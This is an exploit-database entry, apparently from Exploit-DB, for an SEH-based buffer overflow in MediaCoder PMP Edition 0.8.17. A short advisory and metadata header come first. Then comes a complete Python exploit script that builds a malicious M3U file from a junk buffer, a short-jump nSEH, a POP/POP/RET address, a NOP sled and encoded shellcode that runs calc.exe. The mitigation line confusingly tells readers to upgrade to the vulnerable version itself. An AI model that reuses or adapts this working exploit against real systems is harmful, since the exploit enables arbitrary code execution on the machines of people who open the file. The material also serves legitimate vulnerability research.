MediaCoder PMP Edition 0.8.17 Buffer Overflow Exploit (SEH)

vendor:

MediaCoder (Personal Media Player) Edition

by:

metacom

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: MediaCoder (Personal Media Player) Edition

Affected Version From: 0.8.17

Affected Version To: 0.8.17

Patch Exists: YES

Related CWE: N/A

CPE: a:mediacoderhq:mediacoder_pmp_edition

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Pro-SP3 English

2013

MediaCoder PMP Edition 0.8.17 Buffer Overflow Exploit (SEH)

MediaCoder PMP Edition 0.8.17 is vulnerable to a buffer overflow vulnerability due to improper bounds checking of user-supplied input. An attacker can exploit this vulnerability by supplying a specially crafted M3U file, which when opened in MediaCoder PMP Edition 0.8.17, can cause a buffer overflow and allow arbitrary code execution.

Mitigation:

Upgrade to the latest version of MediaCoder PMP Edition 0.8.17 or apply the patch provided by the vendor.

Source

Exploit-DB raw data:

print """
 [+]Exploit Title: MediaCoder PMP Edition 0.8.17 Buffer Overflow Exploit (SEH)
 [+]Download link: http://www.mediacoderhq.com/device/mpx.htm
 [+]Vulnerable Product: MediaCoder (Personal Media Player) Edition
 [+]Date (found): 21.06.2013
 [+]Date (publish): 21.06.2013
 [+]Founder: metacom
 [+]RST 
 [+]Tested on: Windows Xp pro-sp3 English
 """
from struct import pack

junk = "http://" + "\x41" * 765
nseh = "\xeb\x06\x90\x90" 
seh = pack('<I',0x66D81575)#66D81575   5F  POP EDI avutil-52.dll
nops= "\x90" * 80
#msfpayload windows/exec CMD=calc.exe R | msfencode -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x5c' -t c
shell=("\xbf\x8e\xa0\x35\xac\xda\xda\xd9\x74\x24\xf4\x5b\x2b\xc9\xb1"
"\x33\x83\xc3\x04\x31\x7b\x0e\x03\xf5\xae\xd7\x59\xf5\x47\x9e"
"\xa2\x05\x98\xc1\x2b\xe0\xa9\xd3\x48\x61\x9b\xe3\x1b\x27\x10"
"\x8f\x4e\xd3\xa3\xfd\x46\xd4\x04\x4b\xb1\xdb\x95\x7d\x7d\xb7"
"\x56\x1f\x01\xc5\x8a\xff\x38\x06\xdf\xfe\x7d\x7a\x10\x52\xd5"
"\xf1\x83\x43\x52\x47\x18\x65\xb4\xcc\x20\x1d\xb1\x12\xd4\x97"
"\xb8\x42\x45\xa3\xf3\x7a\xed\xeb\x23\x7b\x22\xe8\x18\x32\x4f"
"\xdb\xeb\xc5\x99\x15\x13\xf4\xe5\xfa\x2a\x39\xe8\x03\x6a\xfd"
"\x13\x76\x80\xfe\xae\x81\x53\x7d\x75\x07\x46\x25\xfe\xbf\xa2"
"\xd4\xd3\x26\x20\xda\x98\x2d\x6e\xfe\x1f\xe1\x04\xfa\x94\x04"
"\xcb\x8b\xef\x22\xcf\xd0\xb4\x4b\x56\xbc\x1b\x73\x88\x18\xc3"
"\xd1\xc2\x8a\x10\x63\x89\xc0\xe7\xe1\xb7\xad\xe8\xf9\xb7\x9d"
"\x80\xc8\x3c\x72\xd6\xd4\x96\x37\x28\x9f\xbb\x11\xa1\x46\x2e"
"\x20\xac\x78\x84\x66\xc9\xfa\x2d\x16\x2e\xe2\x47\x13\x6a\xa4"
"\xb4\x69\xe3\x41\xbb\xde\x04\x40\xd8\x81\x96\x08\x31\x24\x1f"
"\xaa\x4d")
exploit = junk + nseh + seh + nops + shell
 
try:
    rst= open("mediacoder-pmp.m3u",'w')
    rst.write(exploit)
    rst.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"